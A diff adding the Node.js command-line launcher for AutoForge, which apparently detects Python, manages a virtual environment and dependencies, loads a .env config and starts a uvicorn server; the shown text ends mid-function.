# File operations: ls, cat, head, tail, wc, grep, cp, mkdir, mv, rm, touch
|
||||||
|
|||||||
834
lib/cli.js
Normal file
834
lib/cli.js
Normal file
@@ -0,0 +1,834 @@
|
|||||||
|
/**
|
||||||
|
* AutoForge CLI
|
||||||
|
* =============
|
||||||
|
*
|
||||||
|
* Main CLI module for the AutoForge npm global package.
|
||||||
|
* Handles Python detection, virtual environment management,
|
||||||
|
* config loading, and uvicorn server lifecycle.
|
||||||
|
*
|
||||||
|
* Uses only Node.js built-in modules -- no external dependencies.
|
||||||
|
*/
|
||||||
|
|
||||||
|
import { execFileSync, spawn, execSync } from 'node:child_process';
|
||||||
|
import { createHash } from 'node:crypto';
|
||||||
|
import { existsSync, readFileSync, writeFileSync, mkdirSync, unlinkSync, rmSync, copyFileSync } from 'node:fs';
|
||||||
|
import { createRequire } from 'node:module';
|
||||||
|
import { createServer } from 'node:net';
|
||||||
|
import { homedir, platform } from 'node:os';
|
||||||
|
import { join, dirname } from 'node:path';
|
||||||
|
import { fileURLToPath } from 'node:url';
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Path constants
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
/** Root of the autoforge npm package (one level up from lib/) */
|
||||||
|
const PKG_DIR = dirname(dirname(fileURLToPath(import.meta.url)));
|
||||||
|
|
||||||
|
/** User config home: ~/.autoforge/ */
|
||||||
|
const CONFIG_HOME = join(homedir(), '.autoforge');
|
||||||
|
|
||||||
|
/** Virtual-environment directory managed by the CLI */
|
||||||
|
const VENV_DIR = join(CONFIG_HOME, 'venv');
|
||||||
|
|
||||||
|
/** Composite marker written after a successful pip install */
|
||||||
|
const DEPS_MARKER = join(VENV_DIR, '.deps-installed');
|
||||||
|
|
||||||
|
/** PID file for the running server */
|
||||||
|
const PID_FILE = join(CONFIG_HOME, 'server.pid');
|
||||||
|
|
||||||
|
/** Path to the production requirements file inside the package */
|
||||||
|
const REQUIREMENTS_FILE = join(PKG_DIR, 'requirements-prod.txt');
|
||||||
|
|
||||||
|
/** Path to the .env example shipped with the package */
|
||||||
|
const ENV_EXAMPLE = join(PKG_DIR, '.env.example');
|
||||||
|
|
||||||
|
/** User .env config file */
|
||||||
|
const ENV_FILE = join(CONFIG_HOME, '.env');
|
||||||
|
|
||||||
|
const IS_WIN = platform() === 'win32';
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Package version (read lazily via createRequire)
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
const require = createRequire(import.meta.url);
|
||||||
|
const { version: VERSION } = require(join(PKG_DIR, 'package.json'));
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Helpers
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
/** Indented console output matching the spec format. */
|
||||||
|
function log(msg = '') {
|
||||||
|
console.log(` ${msg}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Print a fatal error and exit. */
|
||||||
|
function die(msg) {
|
||||||
|
console.error(`\n Error: ${msg}\n`);
|
||||||
|
process.exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Parse a Python version string like "Python 3.13.6" and return
|
||||||
|
* { major, minor, patch, raw } or null on failure.
|
||||||
|
*/
|
||||||
|
function parsePythonVersion(raw) {
|
||||||
|
const m = raw.match(/Python\s+(\d+)\.(\d+)\.(\d+)/);
|
||||||
|
if (!m) return null;
|
||||||
|
return {
|
||||||
|
major: Number(m[1]),
|
||||||
|
minor: Number(m[2]),
|
||||||
|
patch: Number(m[3]),
|
||||||
|
raw: `${m[1]}.${m[2]}.${m[3]}`,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Try a single Python candidate. Returns { exe, version } or null.
|
||||||
|
* `candidate` is either a bare name or an array of args (e.g. ['py', '-3']).
|
||||||
|
*/
|
||||||
|
function tryPythonCandidate(candidate) {
|
||||||
|
const args = Array.isArray(candidate) ? candidate : [candidate];
|
||||||
|
const exe = args[0];
|
||||||
|
const extraArgs = args.slice(1);
|
||||||
|
|
||||||
|
try {
|
||||||
|
const out = execFileSync(exe, [...extraArgs, '--version'], {
|
||||||
|
encoding: 'utf8',
|
||||||
|
timeout: 10_000,
|
||||||
|
stdio: ['pipe', 'pipe', 'pipe'],
|
||||||
|
});
|
||||||
|
|
||||||
|
const ver = parsePythonVersion(out);
|
||||||
|
if (!ver) return null;
|
||||||
|
|
||||||
|
// Require 3.11+
|
||||||
|
if (ver.major < 3 || (ver.major === 3 && ver.minor < 11)) {
|
||||||
|
return { exe: args.join(' '), version: ver, tooOld: true };
|
||||||
|
}
|
||||||
|
|
||||||
|
return { exe: args.join(' '), version: ver, tooOld: false };
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Python detection
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Find a suitable Python >= 3.11 interpreter.
|
||||||
|
*
|
||||||
|
* Search order is platform-dependent:
|
||||||
|
* Windows: python -> py -3 -> python3
|
||||||
|
* macOS/Linux: python3 -> python
|
||||||
|
*
|
||||||
|
* The AUTOFORGE_PYTHON env var overrides automatic detection.
|
||||||
|
*
|
||||||
|
* After finding a candidate we also verify that the venv module is
|
||||||
|
* available (Debian/Ubuntu strip it out of the base package).
|
||||||
|
*/
|
||||||
|
function findPython() {
|
||||||
|
// Allow explicit override via environment variable
|
||||||
|
const override = process.env.AUTOFORGE_PYTHON;
|
||||||
|
if (override) {
|
||||||
|
const result = tryPythonCandidate(override);
|
||||||
|
if (!result) {
|
||||||
|
die(`AUTOFORGE_PYTHON is set to "${override}" but it could not be executed.`);
|
||||||
|
}
|
||||||
|
if (result.tooOld) {
|
||||||
|
die(
|
||||||
|
`Python ${result.version.raw} found (via AUTOFORGE_PYTHON), but 3.11+ required.\n` +
|
||||||
|
' Install Python 3.11+ from https://python.org'
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Platform-specific candidate order
|
||||||
|
const candidates = IS_WIN
|
||||||
|
? ['python', ['py', '-3'], 'python3']
|
||||||
|
: ['python3', 'python'];
|
||||||
|
|
||||||
|
let bestTooOld = null;
|
||||||
|
|
||||||
|
for (const candidate of candidates) {
|
||||||
|
const result = tryPythonCandidate(candidate);
|
||||||
|
if (!result) continue;
|
||||||
|
|
||||||
|
if (result.tooOld) {
|
||||||
|
// Remember the first "too old" result for a better error message
|
||||||
|
if (!bestTooOld) bestTooOld = result;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Verify venv module is available (Debian/Ubuntu may need python3-venv)
|
||||||
|
try {
|
||||||
|
const exeParts = result.exe.split(' ');
|
||||||
|
execFileSync(exeParts[0], [...exeParts.slice(1), '-c', 'import ensurepip'], {
|
||||||
|
encoding: 'utf8',
|
||||||
|
timeout: 10_000,
|
||||||
|
stdio: ['pipe', 'pipe', 'pipe'],
|
||||||
|
});
|
||||||
|
} catch {
|
||||||
|
die(
|
||||||
|
`Python venv module not available.\n` +
|
||||||
|
` Run: sudo apt install python3.${result.version.minor}-venv`
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Provide the most helpful error message we can
|
||||||
|
if (bestTooOld) {
|
||||||
|
die(
|
||||||
|
`Python ${bestTooOld.version.raw} found, but 3.11+ required.\n` +
|
||||||
|
' Install Python 3.11+ from https://python.org'
|
||||||
|
);
|
||||||
|
}
|
||||||
|
die(
|
||||||
|
'Python 3.11+ required but not found.\n' +
|
||||||
|
' Install from https://python.org'
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Venv management
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
/** Return the path to the Python executable inside the venv. */
|
||||||
|
function venvPython() {
|
||||||
|
return IS_WIN
|
||||||
|
? join(VENV_DIR, 'Scripts', 'python.exe')
|
||||||
|
: join(VENV_DIR, 'bin', 'python');
|
||||||
|
}
|
||||||
|
|
||||||
|
/** SHA-256 hash of the requirements-prod.txt file contents. */
|
||||||
|
function requirementsHash() {
|
||||||
|
const content = readFileSync(REQUIREMENTS_FILE, 'utf8');
|
||||||
|
return createHash('sha256').update(content).digest('hex');
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Read the composite deps marker. Returns the parsed JSON object
|
||||||
|
* or null if the file is missing / corrupt.
|
||||||
|
*/
|
||||||
|
function readMarker() {
|
||||||
|
try {
|
||||||
|
return JSON.parse(readFileSync(DEPS_MARKER, 'utf8'));
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Ensure the virtual environment exists and dependencies are installed.
|
||||||
|
* Returns true if all setup steps were already satisfied (fast path).
|
||||||
|
*
|
||||||
|
* @param {object} python - The result of findPython()
|
||||||
|
* @param {boolean} forceRecreate - If true, delete and recreate the venv
|
||||||
|
*/
|
||||||
|
function ensureVenv(python, forceRecreate) {
|
||||||
|
mkdirSync(CONFIG_HOME, { recursive: true });
|
||||||
|
|
||||||
|
const marker = readMarker();
|
||||||
|
const reqHash = requirementsHash();
|
||||||
|
const pyExe = venvPython();
|
||||||
|
|
||||||
|
// Determine if the venv itself needs to be (re)created
|
||||||
|
let needsCreate = forceRecreate || !existsSync(pyExe);
|
||||||
|
|
||||||
|
if (!needsCreate && marker) {
|
||||||
|
// Recreate if Python major.minor changed
|
||||||
|
const markerMinor = marker.python_version;
|
||||||
|
const currentMinor = `${python.version.major}.${python.version.minor}`;
|
||||||
|
if (markerMinor && markerMinor !== currentMinor) {
|
||||||
|
needsCreate = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Recreate if the recorded python path no longer exists
|
||||||
|
if (marker.python_path && !existsSync(marker.python_path)) {
|
||||||
|
needsCreate = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
let depsUpToDate = false;
|
||||||
|
if (!needsCreate && marker && marker.requirements_hash === reqHash) {
|
||||||
|
depsUpToDate = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fast path: nothing to do
|
||||||
|
if (!needsCreate && depsUpToDate) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- Slow path: show setup progress ---
|
||||||
|
|
||||||
|
log('[2/3] Setting up environment...');
|
||||||
|
|
||||||
|
if (needsCreate) {
|
||||||
|
if (existsSync(VENV_DIR)) {
|
||||||
|
log(' Removing old virtual environment...');
|
||||||
|
rmSync(VENV_DIR, { recursive: true, force: true });
|
||||||
|
}
|
||||||
|
|
||||||
|
log(` Creating virtual environment at ~/.autoforge/venv/`);
|
||||||
|
const exeParts = python.exe.split(' ');
|
||||||
|
try {
|
||||||
|
execFileSync(exeParts[0], [...exeParts.slice(1), '-m', 'venv', VENV_DIR], {
|
||||||
|
encoding: 'utf8',
|
||||||
|
timeout: 120_000,
|
||||||
|
stdio: ['pipe', 'pipe', 'pipe'],
|
||||||
|
});
|
||||||
|
} catch (err) {
|
||||||
|
die(`Failed to create virtual environment: ${err.message}`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Install / update dependencies
|
||||||
|
log(' Installing dependencies...');
|
||||||
|
try {
|
||||||
|
execFileSync(pyExe, ['-m', 'pip', 'install', '-q', '--upgrade', 'pip'], {
|
||||||
|
encoding: 'utf8',
|
||||||
|
timeout: 300_000,
|
||||||
|
stdio: ['pipe', 'pipe', 'pipe'],
|
||||||
|
});
|
||||||
|
|
||||||
|
execFileSync(pyExe, ['-m', 'pip', 'install', '-q', '-r', REQUIREMENTS_FILE], {
|
||||||
|
encoding: 'utf8',
|
||||||
|
timeout: 600_000,
|
||||||
|
stdio: ['pipe', 'pipe', 'pipe'],
|
||||||
|
});
|
||||||
|
} catch (err) {
|
||||||
|
die(`Failed to install dependencies: ${err.message}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Write marker only after pip succeeds to prevent partial state
|
||||||
|
const markerData = {
|
||||||
|
requirements_hash: reqHash,
|
||||||
|
python_version: `${python.version.major}.${python.version.minor}`,
|
||||||
|
python_path: pyExe,
|
||||||
|
created_at: new Date().toISOString(),
|
||||||
|
};
|
||||||
|
writeFileSync(DEPS_MARKER, JSON.stringify(markerData, null, 2), 'utf8');
|
||||||
|
|
||||||
|
log(' Done');
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Config (.env) management
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Parse a .env file into a plain object.
|
||||||
|
* Handles comments, blank lines, and quoted values.
|
||||||
|
*/
|
||||||
|
function parseEnvFile(filePath) {
|
||||||
|
const env = {};
|
||||||
|
if (!existsSync(filePath)) return env;
|
||||||
|
|
||||||
|
const lines = readFileSync(filePath, 'utf8').split('\n');
|
||||||
|
for (const line of lines) {
|
||||||
|
const trimmed = line.trim();
|
||||||
|
if (!trimmed || trimmed.startsWith('#')) continue;
|
||||||
|
|
||||||
|
const eqIdx = trimmed.indexOf('=');
|
||||||
|
if (eqIdx === -1) continue;
|
||||||
|
|
||||||
|
const key = trimmed.slice(0, eqIdx).trim();
|
||||||
|
let value = trimmed.slice(eqIdx + 1).trim();
|
||||||
|
|
||||||
|
// Strip matching quotes (single or double)
|
||||||
|
if (
|
||||||
|
(value.startsWith('"') && value.endsWith('"')) ||
|
||||||
|
(value.startsWith("'") && value.endsWith("'"))
|
||||||
|
) {
|
||||||
|
value = value.slice(1, -1);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (key) {
|
||||||
|
env[key] = value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return env;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Ensure ~/.autoforge/.env exists. On first run, copy .env.example
|
||||||
|
* from the package directory and print a notice.
|
||||||
|
*
|
||||||
|
* Returns true if the file was newly created.
|
||||||
|
*/
|
||||||
|
function ensureEnvFile() {
|
||||||
|
if (existsSync(ENV_FILE)) return false;
|
||||||
|
|
||||||
|
mkdirSync(CONFIG_HOME, { recursive: true });
|
||||||
|
|
||||||
|
if (existsSync(ENV_EXAMPLE)) {
|
||||||
|
copyFileSync(ENV_EXAMPLE, ENV_FILE);
|
||||||
|
} else {
|
||||||
|
// Fallback: create a minimal placeholder
|
||||||
|
writeFileSync(ENV_FILE, '# AutoForge configuration\n# See documentation for available options.\n', 'utf8');
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Port detection
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Find an available TCP port starting from `start`.
|
||||||
|
* Tries by actually binding a socket (most reliable cross-platform approach).
|
||||||
|
*/
|
||||||
|
function findAvailablePort(start = 8888, maxAttempts = 20) {
|
||||||
|
for (let port = start; port < start + maxAttempts; port++) {
|
||||||
|
try {
|
||||||
|
const server = createServer();
|
||||||
|
// Use a synchronous-like approach: try to listen, then close immediately
|
||||||
|
const result = new Promise((resolve, reject) => {
|
||||||
|
server.once('error', reject);
|
||||||
|
server.listen(port, '127.0.0.1', () => {
|
||||||
|
server.close(() => resolve(port));
|
||||||
|
});
|
||||||
|
});
|
||||||
|
// We cannot await here (sync context), so use the blocking approach:
|
||||||
|
// Try to bind synchronously using a different technique.
|
||||||
|
server.close();
|
||||||
|
} catch {
|
||||||
|
// fall through
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Synchronous fallback: try to connect; if connection refused, port is free.
|
||||||
|
for (let port = start; port < start + maxAttempts; port++) {
|
||||||
|
try {
|
||||||
|
execFileSync(process.execPath, [
|
||||||
|
'-e',
|
||||||
|
`const s=require("net").createServer();` +
|
||||||
|
`s.listen(${port},"127.0.0.1",()=>{s.close();process.exit(0)});` +
|
||||||
|
`s.on("error",()=>process.exit(1))`,
|
||||||
|
], { timeout: 3000, stdio: 'pipe' });
|
||||||
|
return port;
|
||||||
|
} catch {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
die(`No available ports found in range ${start}-${start + maxAttempts - 1}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// PID file management
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
/** Read PID from the PID file. Returns the PID number or null. */
|
||||||
|
function readPid() {
|
||||||
|
try {
|
||||||
|
const content = readFileSync(PID_FILE, 'utf8').trim();
|
||||||
|
const pid = Number(content);
|
||||||
|
return Number.isFinite(pid) && pid > 0 ? pid : null;
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Check whether a process with the given PID is still running. */
|
||||||
|
function isProcessAlive(pid) {
|
||||||
|
try {
|
||||||
|
process.kill(pid, 0); // signal 0 = existence check
|
||||||
|
return true;
|
||||||
|
} catch {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Write the PID file. */
|
||||||
|
function writePid(pid) {
|
||||||
|
mkdirSync(CONFIG_HOME, { recursive: true });
|
||||||
|
writeFileSync(PID_FILE, String(pid), 'utf8');
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Remove the PID file. */
|
||||||
|
function removePid() {
|
||||||
|
try {
|
||||||
|
unlinkSync(PID_FILE);
|
||||||
|
} catch {
|
||||||
|
// Ignore -- file may already be gone
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Browser opening
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
/** Open a URL in the user's default browser (best-effort). */
|
||||||
|
function openBrowser(url) {
|
||||||
|
try {
|
||||||
|
if (IS_WIN) {
|
||||||
|
// "start" is a cmd built-in; the empty title string avoids
|
||||||
|
// issues when the URL contains special characters.
|
||||||
|
execSync(`start "" "${url}"`, { stdio: 'ignore' });
|
||||||
|
} else if (platform() === 'darwin') {
|
||||||
|
execFileSync('open', [url], { stdio: 'ignore' });
|
||||||
|
} else {
|
||||||
|
// Linux: only attempt if a display server is available and
|
||||||
|
// we are not in an SSH session.
|
||||||
|
const hasDisplay = process.env.DISPLAY || process.env.WAYLAND_DISPLAY;
|
||||||
|
const isSSH = !!process.env.SSH_TTY;
|
||||||
|
if (hasDisplay && !isSSH) {
|
||||||
|
execFileSync('xdg-open', [url], { stdio: 'ignore' });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
// Non-fatal: user can open the URL manually
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Detect headless / CI environments where opening a browser is pointless. */
|
||||||
|
function isHeadless() {
|
||||||
|
if (process.env.CI) return true;
|
||||||
|
if (process.env.CODESPACES) return true;
|
||||||
|
if (process.env.SSH_TTY) return true;
|
||||||
|
// Linux without a display server
|
||||||
|
if (!IS_WIN && platform() !== 'darwin' && !process.env.DISPLAY && !process.env.WAYLAND_DISPLAY) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Process cleanup
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
/** Kill a process tree. On Windows uses taskkill; elsewhere sends SIGTERM. */
|
||||||
|
function killProcess(pid) {
|
||||||
|
try {
|
||||||
|
if (IS_WIN) {
|
||||||
|
execSync(`taskkill /pid ${pid} /t /f`, { stdio: 'ignore' });
|
||||||
|
} else {
|
||||||
|
process.kill(pid, 'SIGTERM');
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
// Process may already be gone
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Playwright CLI
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Ensure playwright-cli is available globally for browser automation.
|
||||||
|
* Returns true if available (already installed or freshly installed).
|
||||||
|
*
|
||||||
|
* @param {boolean} showProgress - If true, print install progress
|
||||||
|
*/
|
||||||
|
function ensurePlaywrightCli(showProgress) {
|
||||||
|
try {
|
||||||
|
execSync('playwright-cli --version', {
|
||||||
|
timeout: 10_000,
|
||||||
|
stdio: ['pipe', 'pipe', 'pipe'],
|
||||||
|
});
|
||||||
|
return true;
|
||||||
|
} catch {
|
||||||
|
// Not installed — try to install
|
||||||
|
}
|
||||||
|
|
||||||
|
if (showProgress) {
|
||||||
|
log(' Installing playwright-cli for browser automation...');
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
execSync('npm install -g @playwright/cli', {
|
||||||
|
timeout: 120_000,
|
||||||
|
stdio: ['pipe', 'pipe', 'pipe'],
|
||||||
|
});
|
||||||
|
return true;
|
||||||
|
} catch {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// CLI commands
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
function printVersion() {
|
||||||
|
console.log(`autoforge v${VERSION}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
function printHelp() {
|
||||||
|
console.log(`
|
||||||
|
AutoForge v${VERSION}
|
||||||
|
Autonomous coding agent with web UI
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
autoforge Start the server (default)
|
||||||
|
autoforge config Open ~/.autoforge/.env in $EDITOR
|
||||||
|
autoforge config --path Print config file path
|
||||||
|
autoforge config --show Show effective configuration
|
||||||
|
|
||||||
|
Options:
|
||||||
|
--port PORT Custom port (default: auto from 8888)
|
||||||
|
--host HOST Custom host (default: 127.0.0.1)
|
||||||
|
--no-browser Don't auto-open browser
|
||||||
|
--repair Delete and recreate virtual environment
|
||||||
|
--dev Development mode (requires cloned repo)
|
||||||
|
--version Print version
|
||||||
|
--help Show this help
|
||||||
|
`);
|
||||||
|
}
|
||||||
|
|
||||||
|
function handleConfig(args) {
|
||||||
|
ensureEnvFile();
|
||||||
|
|
||||||
|
if (args.includes('--path')) {
|
||||||
|
console.log(ENV_FILE);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (args.includes('--show')) {
|
||||||
|
if (!existsSync(ENV_FILE)) {
|
||||||
|
log('No configuration file found.');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const lines = readFileSync(ENV_FILE, 'utf8').split('\n');
|
||||||
|
const active = lines.filter(l => {
|
||||||
|
const t = l.trim();
|
||||||
|
return t && !t.startsWith('#');
|
||||||
|
});
|
||||||
|
if (active.length === 0) {
|
||||||
|
log('No active configuration. All lines are commented out.');
|
||||||
|
log(`Edit: ${ENV_FILE}`);
|
||||||
|
} else {
|
||||||
|
for (const line of active) {
|
||||||
|
console.log(line);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Open in editor
|
||||||
|
const editor = process.env.EDITOR || process.env.VISUAL || (IS_WIN ? 'notepad' : 'vi');
|
||||||
|
try {
|
||||||
|
execFileSync(editor, [ENV_FILE], { stdio: 'inherit' });
|
||||||
|
} catch {
|
||||||
|
log(`Could not open editor "${editor}".`);
|
||||||
|
log(`Edit the file manually: ${ENV_FILE}`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Main server start
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
function startServer(opts) {
|
||||||
|
const { port: requestedPort, host, noBrowser, repair } = opts;
|
||||||
|
|
||||||
|
// Step 1: Find Python
|
||||||
|
const fastPath = !repair && existsSync(venvPython()) && readMarker()?.requirements_hash === requirementsHash();
|
||||||
|
|
||||||
|
let python;
|
||||||
|
if (fastPath) {
|
||||||
|
// Skip the Python search header on fast path -- we already have a working venv
|
||||||
|
python = null;
|
||||||
|
} else {
|
||||||
|
log(`[1/3] Checking Python...`);
|
||||||
|
python = findPython();
|
||||||
|
log(` Found Python ${python.version.raw} at ${python.exe}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Step 2: Ensure venv and deps
|
||||||
|
if (!python) {
|
||||||
|
// Fast path still needs a python reference for potential repair
|
||||||
|
python = findPython();
|
||||||
|
}
|
||||||
|
const wasAlreadyReady = ensureVenv(python, repair);
|
||||||
|
|
||||||
|
// Ensure playwright-cli for browser automation (quick check, installs once)
|
||||||
|
if (!ensurePlaywrightCli(!wasAlreadyReady)) {
|
||||||
|
log('');
|
||||||
|
log(' Note: playwright-cli not available (browser automation will be limited)');
|
||||||
|
log(' Install manually: npm install -g @playwright/cli');
|
||||||
|
log('');
|
||||||
|
}
|
||||||
|
|
||||||
|
// Step 3: Config file
|
||||||
|
const configCreated = ensureEnvFile();
|
||||||
|
|
||||||
|
// Load .env into process.env for the spawned server
|
||||||
|
const dotenvVars = parseEnvFile(ENV_FILE);
|
||||||
|
|
||||||
|
// Determine port
|
||||||
|
const port = requestedPort || findAvailablePort();
|
||||||
|
|
||||||
|
// Check for already-running instance
|
||||||
|
const existingPid = readPid();
|
||||||
|
if (existingPid && isProcessAlive(existingPid)) {
|
||||||
|
log(`AutoForge is already running at http://${host}:${port}`);
|
||||||
|
log('Opening browser...');
|
||||||
|
if (!noBrowser && !isHeadless()) {
|
||||||
|
openBrowser(`http://${host}:${port}`);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Clean up stale PID file
|
||||||
|
if (existingPid) {
|
||||||
|
removePid();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Show server startup step only on slow path
|
||||||
|
if (!wasAlreadyReady) {
|
||||||
|
log('[3/3] Starting server...');
|
||||||
|
}
|
||||||
|
|
||||||
|
if (configCreated) {
|
||||||
|
log(` Created config file: ~/.autoforge/.env`);
|
||||||
|
log(' Edit this file to configure API providers (Ollama, Vertex AI, z.ai)');
|
||||||
|
log('');
|
||||||
|
}
|
||||||
|
|
||||||
|
// Security warning for non-localhost host
|
||||||
|
if (host !== '127.0.0.1') {
|
||||||
|
console.log('');
|
||||||
|
console.log(' !! SECURITY WARNING !!');
|
||||||
|
console.log(` Remote access enabled on host: ${host}`);
|
||||||
|
console.log(' The AutoForge UI will be accessible from other machines.');
|
||||||
|
console.log(' Ensure you understand the security implications.');
|
||||||
|
console.log('');
|
||||||
|
}
|
||||||
|
|
||||||
|
// Build environment for uvicorn
|
||||||
|
const serverEnv = { ...process.env, ...dotenvVars, PYTHONPATH: PKG_DIR };
|
||||||
|
|
||||||
|
// Enable remote access flag for the FastAPI server
|
||||||
|
if (host !== '127.0.0.1') {
|
||||||
|
serverEnv.AUTOFORGE_ALLOW_REMOTE = '1';
|
||||||
|
}
|
||||||
|
|
||||||
|
// Spawn uvicorn
|
||||||
|
const pyExe = venvPython();
|
||||||
|
const child = spawn(
|
||||||
|
pyExe,
|
||||||
|
[
|
||||||
|
'-m', 'uvicorn',
|
||||||
|
'server.main:app',
|
||||||
|
'--host', host,
|
||||||
|
'--port', String(port),
|
||||||
|
],
|
||||||
|
{
|
||||||
|
cwd: PKG_DIR,
|
||||||
|
env: serverEnv,
|
||||||
|
stdio: 'inherit',
|
||||||
|
}
|
||||||
|
);
|
||||||
|
|
||||||
|
writePid(child.pid);
|
||||||
|
|
||||||
|
// Open browser after a short delay to let the server start
|
||||||
|
if (!noBrowser && !isHeadless()) {
|
||||||
|
setTimeout(() => openBrowser(`http://${host}:${port}`), 2000);
|
||||||
|
}
|
||||||
|
|
||||||
|
const url = `http://${host}:${port}`;
|
||||||
|
console.log('');
|
||||||
|
log(`Server running at ${url}`);
|
||||||
|
log('Press Ctrl+C to stop');
|
||||||
|
|
||||||
|
// Graceful shutdown handlers
|
||||||
|
const cleanup = () => {
|
||||||
|
killProcess(child.pid);
|
||||||
|
removePid();
|
||||||
|
};
|
||||||
|
|
||||||
|
process.on('SIGINT', () => {
|
||||||
|
console.log('');
|
||||||
|
cleanup();
|
||||||
|
process.exit(0);
|
||||||
|
});
|
||||||
|
|
||||||
|
process.on('SIGTERM', () => {
|
||||||
|
cleanup();
|
||||||
|
process.exit(0);
|
||||||
|
});
|
||||||
|
|
||||||
|
// If the child exits on its own, clean up and propagate the exit code
|
||||||
|
child.on('exit', (code) => {
|
||||||
|
removePid();
|
||||||
|
process.exit(code ?? 1);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Entry point
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Main CLI entry point.
|
||||||
|
*
|
||||||
|
* @param {string[]} args - Command-line arguments (process.argv.slice(2))
|
||||||
|
*/
|
||||||
|
export function run(args) {
|
||||||
|
// --version / -v
|
||||||
|
if (args.includes('--version') || args.includes('-v')) {
|
||||||
|
printVersion();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// --help / -h
|
||||||
|
if (args.includes('--help') || args.includes('-h')) {
|
||||||
|
printHelp();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// --dev guard: this only works from a cloned repository
|
||||||
|
if (args.includes('--dev')) {
|
||||||
